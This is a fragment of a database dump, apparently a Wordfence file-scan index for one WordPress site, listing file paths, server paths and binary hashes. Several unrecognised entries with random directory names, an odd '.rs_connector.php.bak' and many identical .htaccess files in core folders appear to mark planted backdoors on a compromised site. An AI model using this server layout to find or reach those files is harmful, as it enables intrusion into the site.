('Ul1ȕDbmg','wp-includes/css/buttons-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/buttons-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&~!KKB.','ٙ*1dA(\n}MKJκ2N7','',0,'?'),
('h	i8.','wp-includes/blocks/post-comments-form/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-form/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B4EУ)y','!PM^ײbđmVC','',0,'?'),
('UN, \\1','wp-content/themes/twentynineteen/sass/forms/_forms.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/forms/_forms.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%nŋA','hVC{B{4Ob]=;X)(X','',0,'?'),
('yёcj!\\\'','wp-includes/class-wp-block-list.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-list.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?Ee4D6j','\0^oJ3M SIU\nbΩo ','',0,'?'),
('2D[\"*\"(','wp-includes/js/jquery/ui/effect-size.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-size.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7A@/Q1\"4','hxMJ\no^\n>P*(r\r&','',0,'?'),
('3珇V68','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/83yqso2y.php','/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/83yqso2y.php',0,'Ӵp/7}','Ӵp/7}','(?f@w49/;','',0,'?'),
('hJD㰗G n','wp-content/plugins/wordfence/lib/wfCentralAPI.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCentralAPI.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u!\rb\'-kS','	-o\'\\jkiԎVx','',0,'?'),
('\\0O\'w[l/^$','wp-includes/blocks/gallery/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M=Xj6Ŀ','Eţw<#&u(P2Vqa','',0,'?'),
('ZQ4\\(܇','wp-admin/network/admin.php','/home/trevorkl/trevorklee.com/wp-admin/network/admin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ϯ\r&Z3r\"',':%;KiW@>U;#>','',0,'?'),
('kp_i?=$','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/npu5izri.php','/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/npu5izri.php',0,'75 u^}8U','75 u^}8U','5Gcvq+n}<H','',0,'?'),
('Ƞ\">gݠ','wp-content/themes/twentytwentyone/assets/css/custom-color-overrides.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/custom-color-overrides.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`f5[֛','TwUZcF`Y[aZ','',0,'?'),
('/؊!N>\n','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Ed25519.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Ed25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f<_2S^IZ','iݯ8{iq!dՍAz','',0,'?'),
('XU݉<6eE','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Italic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Italic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`w#`$=','\n{n>-ḩ2\' \0','',0,'?'),
('lU܍R7rz','wp-includes/blocks/comment-content/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-content/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\rx7TL','wp-content/themes/twentytwentyone/assets/css/style-editor.css.map','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/style-editor.css.map',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','嫛	+Zb5','<fGVI@c(@`ӒuGwvs[UK}|P','',0,'?'),
(',$_9SyWб','wp-includes/js/dist/script-modules/latex-to-mathml/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/latex-to-mathml/index.min.asset.php',0,'ݍ	u٘J','ݍ	u٘J','\Z3\'KS\Z!G2әXjnOT','',0,'?'),
('2M#Puu','wp-content/plugins/wordfence/modules/login-security/views/common/semantic-icon.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/common/semantic-icon.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Pۭ=5mF|C','&n21k\0&DrSG1*p&#@L','',0,'?'),
('\Zl3Ȋ','wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.woff','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','PUՒJLm8`v','ӛvQk\nl]`Ε۷+}kO','',0,'?'),
('0鰤\n\Zlb!','wp-includes/css/dist/block-library/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('<hiѭ3*	Fq','wp-includes/blocks/button/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/button/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','LvH\n','5$R\',N@)	PJ:rE~G-','',0,'?'),
('@d,I օ','wp-content/themes/twentytwentythree/assets/fonts/dm-sans/LICENSE.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/dm-sans/LICENSE.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','JԵ/Mz<wu','dh~hĥW9&((O\r0^1F) ~N','',0,'?'),
('J|6}P,\rٛ','wp-admin/css/colors/_admin.scss','/home/trevorkl/trevorklee.com/wp-admin/css/colors/_admin.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','i2RjW+LA','L\r}%SKA','',0,'?'),
('Z@EyaB','wp-content/themes/twentynineteen/sass/typography/_headings.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/typography/_headings.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|Rsx*%','pЎ(W\\	c36\0\'f','',0,'?'),
('d`#)?ϳ0(w','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Crypto.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Crypto.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' oY-)EHd','l,8ETCeylaS;)\'\"d`z','',0,'?'),
('h)\Z<me','wp-content/plugins/simpletoc/build/index.js','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/build/index.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Kd\\uS[','/@`meV&0Wh\0','',0,'?'),
('nb91:\ZH','wp-includes/SimplePie/src/Cache/Memcache.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/Memcache.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9!\Z!FLi.','Py8.̨WNEv:ۛrw[Y','',0,'?'),
('xd{4!J\n','wp-includes/sodium_compat/src/Core32/SecretStream/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/SecretStream/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('}N\\9\\','wp-content/plugins/wordfence/modules/login-security/classes/utility/number.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/number.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H2O13N/\n',':0Pb^j|X-HtKSb\Z','',0,'?'),
('VZblͯ','wp-includes/blocks/archives/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/archives/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4?	UEw','̴2I3QS*\"@L$	\"V?','',0,'?'),
('x`f,5ef2','wp-admin/js/site-health.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/site-health.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']Ƃ}6 a$yђ','pha/g8h>?Flz̕8hE','',0,'?'),
('d]&3N=','wp-content/plugins/wordfence/images/logos/shield-white.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/logos/shield-white.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dX#pRðJ','LO\'(EqHl@)O','',0,'?'),
('[:q','wp-admin/includes/class-wp-plugins-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-plugins-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h-','oF)f蹵;\Z\']YP$l4*','',0,'?'),
('.yz_jz|','wp-content/themes/twentynineteen/images/pattern_03.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/images/pattern_03.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ȕP@>?21YG6','9YE8PA4k\"\r8@F`J','',0,'?'),
('y CR222','wp-includes/css/dist/base-styles/admin-schemes-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/base-styles/admin-schemes-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^O2NI\\G1R','5^>47nVg[o^[]\n','',0,'?'),
('gڭ*]I','wp-content/themes/twentytwentyfour/patterns/page-home-portfolio-gallery.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-home-portfolio-gallery.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rɓ>-k','\n5c$;c<[GyU~g\"#o','',0,'?'),
('Z(|Z','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Compat.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','QUp~ocÊ4Nt','Lnl2@ΐ>hi,uJYH\\L,B','',0,'?'),
('\\ Iѻ,','wp-includes/class-simplepie.php','/home/trevorkl/trevorklee.com/wp-includes/class-simplepie.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<fIcC]Yꬍ/[','рE&ev//y>$r=','',0,'?'),
('z.&ĉR4)&','wp-includes/sitemaps/svjbhyp/nogdurq/cuklbxg/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/svjbhyp/nogdurq/cuklbxg/index.php',0,',WLaMzq',',WLaMzq','V򴥑UGG8vaS','',0,'?'),
('ڙy2D\na93','wp-includes/block-supports/layout.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/layout.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a:|Ћ&W@|\n','<LBUQ@O]wҫ2S0','',0,'?'),
(')Ek\r','wp-includes/blocks/accordion/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W<)`3	Y@w&','_*\Z{}~\nYe9xwWLNRV','',0,'?'),
(' [?OK0','wp-content/plugins/header-footer-code-manager/images/ajax-loader.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/images/ajax-loader.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*f4)קE ','o039+Gm+ozkx','',0,'?'),
('\\]^Tꥊ','wp-includes/js/dist/vendor/wp-polyfill-url.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-url.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ř=NT\\{','hǣqٵKt\r4DSgd0Z','',0,'?'),
('$=ZZHɼf','wp-content/themes/twentytwentyone/assets/sass/06-components/navigation.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/navigation.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','66anqwR','T|_A*r]vz/a','',0,'?'),
('$lvEC۩bN','wp-content/themes/twentytwenty/template-parts/footer-menus-widgets.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/footer-menus-widgets.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5\'35Q{̄','PeJcA/Hq5ޔQ\rr8Ł#\'(g','',0,'?'),
('/&2ѡ\rgDs','wp-includes/http.php','/home/trevorkl/trevorklee.com/wp-includes/http.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x*z	','z9KJwnaE*(E','',0,'?'),
('5قaܨϘ	#bu','wp-includes/js/dist/compose.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/compose.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W֘E(&^','qܵz-8^WD2x$}','',0,'?'),
('=#-38','wp-includes/blocks/code/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+v{df$9^','K鏬/ sCS-\0Ujhs5 ','',0,'?'),
('Sߙ\0cƕ`4','wp-includes/blocks/navigation/view.asset.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/view.asset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MzSF8\n','f]>0D9헷~\0(y4k%/','',0,'?'),
('[?\"uFVb','wp-content/plugins/loginizer/assets/images/social/GitHub.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/social/GitHub.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O 6n&','<d2Y\":FPWGFy`;ݓzJ','',0,'?'),
('bE3g\'cZ (','wp-content/plugins/akismet/views/get.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/get.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','71q	\"','<1d+FK8cI8\\1On5XѰ','',0,'?'),
('k|=','wp-includes/SimplePie/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('m7^IZvF','wp-content/plugins/wordfence/views/scanner/text/issue-timelimit.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-timelimit.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`~]ՎKW_p','R-x\"q\\46^7$8\rl','',0,'?'),
('s{;zҐ!ɮ0~','wp-includes/blocks/comment-edit-link/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-edit-link/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"I_;\"','Ms~vwy}Jܬ96Q$ۺo','',0,'?'),
('u%uK;ب38\"','wp-content/plugins/simpletoc/build/index.css','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/build/index.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','idWLx{','6@qO>1E)gY6B,','',0,'?'),
('=Ѷ8$','wp-includes/js/dist/vendor/wp-polyfill-node-contains.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-node-contains.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/2;(U','i-;R9s	bl:XJ$K	','',0,'?'),
('?0|5uơ','wp-admin/custom-background.php','/home/trevorkl/trevorklee.com/wp-admin/custom-background.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','X]AE',')t/.?寮Ni΁0\\z?@\ZR','',0,'?'),
('ZE\'>7','wp-includes/js/tinymce/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('P^bKOb0n','wp-includes/js/thickbox/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/thickbox/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('	v|HS','wp-includes/css/dist/notices/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/notices/style-rtl.min.css',0,'`upMZHN','`upMZHN','G}G#;&m1\0|6[bm!R','',0,'?'),
('R5;˃І7p4','wp-content/.rs_g2/.rs_connector.php.bak','/home/trevorkl/trevorklee.com/wp-content/.rs_g2/.rs_connector.php.bak',0,'V(6Q#d0','V(6Q#d0','m,ߥVX!{5}=ev','',0,'?'),
('<eJ5}j','wp-includes/blocks/site-logo/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-logo/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&UOSp','OycqdTիf֕͋,,','',0,'?'),
('qhnJj','wp-admin/css/nav-menus.css','/home/trevorkl/trevorklee.com/wp-admin/css/nav-menus.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V}=ngR\"','VlzDjnu(%kr:hoH1','',0,'?'),
('^~hZ','wp-content/themes/twentytwentytwo/contributing.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/contributing.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8hq}}C','Aւjw aۄ2%','',0,'?'),
('<	f%nO','wp-admin/includes/credits.php','/home/trevorkl/trevorklee.com/wp-admin/includes/credits.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!|xOeZ*','kUu5KxvQSxޕHx a/LG','',0,'?'),
('ÏuL,&Ǒ\r1','wp-admin/media.php','/home/trevorkl/trevorklee.com/wp-admin/media.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','KF	+})@>B','n#\'bbP\"u9v>S','',0,'?'),
('Ӏ9[M-g','wp-includes/js/dist/hooks.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/hooks.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','];-N^\'&','LNg3QZ_E`XҸfŒ','',0,'?'),
('akYw7OF','wp-includes/css/dist/admin-ui/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/admin-ui/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?{\Z)[9?B',' .\0VT_ \\`\0%te','',0,'?'),
('l;+SG','wp-includes/blocks/audio/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/audio/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L@إm_YF','e7KVӧidƍ9ky','',0,'?'),
('{ZV$','wp-includes/blocks/social-links/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-links/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B!0K&06','sLibof(X=kr+\"R','',0,'?'),
('+M%]sD00','wp-includes/blocks/freeform/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/freeform/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ڛCpY=V^','r2Gjۤ\"Q\0#vD>Z','',0,'?'),
('~#`\\&','wp-includes/sitemaps/svjbhyp/nogdurq/cuklbxg/php.ini','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/svjbhyp/nogdurq/cuklbxg/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('	W4s&F2a','wp-includes/block-supports/block-visibility.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/block-visibility.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K12CL.%~~Zގ','ZBfpZ \\n@B\nߐl','',0,'?'),
('\nn=^nN','wp-content/themes/twentytwenty/classes/class-twentytwenty-separator-control.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/classes/class-twentytwenty-separator-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lMs','w6K\Z([e9aa32Ћ!','',0,'?'),
('!\'Ia\nRrB?(n','wp-includes/js/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(',23^bRȢ','wp-content/plugins/wordfence/css/license/premium.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/premium.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+Ty\\cj\Z','ǆgbZΦ`$oV͜+g','',0,'?'),
('/Ä\0Py/','wp-includes/sodium_compat/namespaced/Core/Curve25519/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('3,cvk','wp-content/plugins/wordfence/views/onboarding/overlay.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/onboarding/overlay.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Мs','a:FVW5W<no`','',0,'?'),
('7ʏaBKz','wp-includes/blocks/button/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/button/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','LvH\n','5$R\',N@)	PJ:rE~G-','',0,'?'),
('J\069V/','wp-includes/blocks/site-title/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-title/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?\Zjɛ','R+je,*6a,R_~OzWk(','',0,'?'),
('NJU6.','wp-includes/php-compat/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/php-compat/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('WM{h(','wp-content/plugins/wordfence/lib/menu_options.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_options.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M2sN\r','7rZ/t]l]+x%sƂ','',0,'?'),
(']K{ٯ`{,','wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmWUlfChc-AMP6lbBP.woff','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmWUlfChc-AMP6lbBP.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+EYH<YPK=S','ۋ&:^G&B2PC~','',0,'?'),
('a@o\'kb','wp-includes/js/jquery/jquery-migrate.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery-migrate.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.-$\"g','rӽ.I]B5*֌\nj~ng','',0,'?'),
('x;_q*`<','wp-includes/blocks/group/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/group/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','abЖZFUl\Z','bS %qR7Fֻ','',0,'?'),
('i/pEt\nl','wp-content/plugins/wordfence/lib/rest-api/wfRESTScanController.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/rest-api/wfRESTScanController.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r0mb74$','{hDX^w6Dfc@Q\rf','',0,'?'),
('^[Xi	','wp-admin/themes.php','/home/trevorkl/trevorklee.com/wp-admin/themes.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u|g9$]','gYHwWt<v؞ʵ$\ZQ}','',0,'?'),
(':X@\0{*֯','wp-admin/includes/class-language-pack-upgrader-skin.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-language-pack-upgrader-skin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ԀaN~','sV+L[-<\ZMϒ͖2','',0,'?'),
('4T(\\9\'3)','wp-admin/css/customize-widgets-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/customize-widgets-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Թ|p\Z\r(`','\'&/2xϑm銨. І8','',0,'?'),
('?JJރ%_D9','wp-content/themes/twentytwentytwo/inc/patterns/general-pricing-table.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-pricing-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p,-~ob{\0','1-,>48CTg*Rk)\n','',0,'?'),
('k{&x\n','wp-includes/class-wp-error.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-error.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"*JV+QI5%','Kk4$j1\nUy+}^d4adF','',0,'?'),
('t\"\Z.3@\"','wp-includes/SimplePie/src/Cache/Psr16.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/Psr16.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jl\r\Z}/ގkS','uV>xPu)-Z=иZ','',0,'?'),
('$o1T2]l','wp-content/plugins/wordfence/lib/dashboard/widget_countries.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/dashboard/widget_countries.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	d*W1g','+q~;fE_#]IV\\k?lÝϞ','',0,'?'),
('A0ff` Kǁ}','wp-content/plugins/wordfence/lib/wfDirectoryIterator.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfDirectoryIterator.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n+Z/_\Zxuv','u;IVa[~㵭TZ\\^yJj','',0,'?'),
('\0%3[$x\0.(','wp-admin/images/marker.png','/home/trevorkl/trevorklee.com/wp-admin/images/marker.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3*O2/3I2','~T@\\vUI<pKa`T@cca','',0,'?'),
('e;::B<','wp-includes/sitemaps/gajftko/rdkfahv/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/gajftko/rdkfahv/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('4=','wp-content/plugins/wordfence/images/icons/ajaxScan.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/ajaxScan.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʖѴ~fi','ߩ0ԍѦƻH\n¡;','',0,'?'),
('	Em[l<','wp-includes/js/tinymce/plugins/image/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/image/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-ZCl­}莐','yTNz+⃆\'%Y','',0,'?'),
('ڥ\0	ļP','wp-content/plugins/wordfence/modules/login-security/classes/controller/cli.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/cli.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|$Y\0\"','4g{.:~Y#Z^@	','',0,'?'),
('\ZsT','wp-content/themes/twentytwentytwo/templates/home.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/templates/home.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZmI\Z:>\'b(','8!S|wrD|۽Ć/R|yV','',0,'?'),
('L\Z','wp-includes/blocks/query-pagination/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';oo)~ѡf(','&ϕc{|_;1C7','',0,'?'),
('D`Bȥ\nbǙ','wp-content/themes/twentynineteen/sass/_normalize.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/_normalize.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ut _vO0a','LLZmh2-s,+<s!@tpzG','',0,'?'),
('MQHY_r$KS','wp-content/themes/twentytwenty/assets/js/customize-preview.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/customize-preview.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~HMHta/','NZ/IljwN8b^h','',0,'?'),
('{mK;/_','wp-content/maintenance/assets/images/instagram.svg','/home/trevorkl/trevorklee.com/wp-content/maintenance/assets/images/instagram.svg',0,'*SCGK=*','*SCGK=*',',?nE3j鹭܃YHxd\\!\n','',0,'?'),
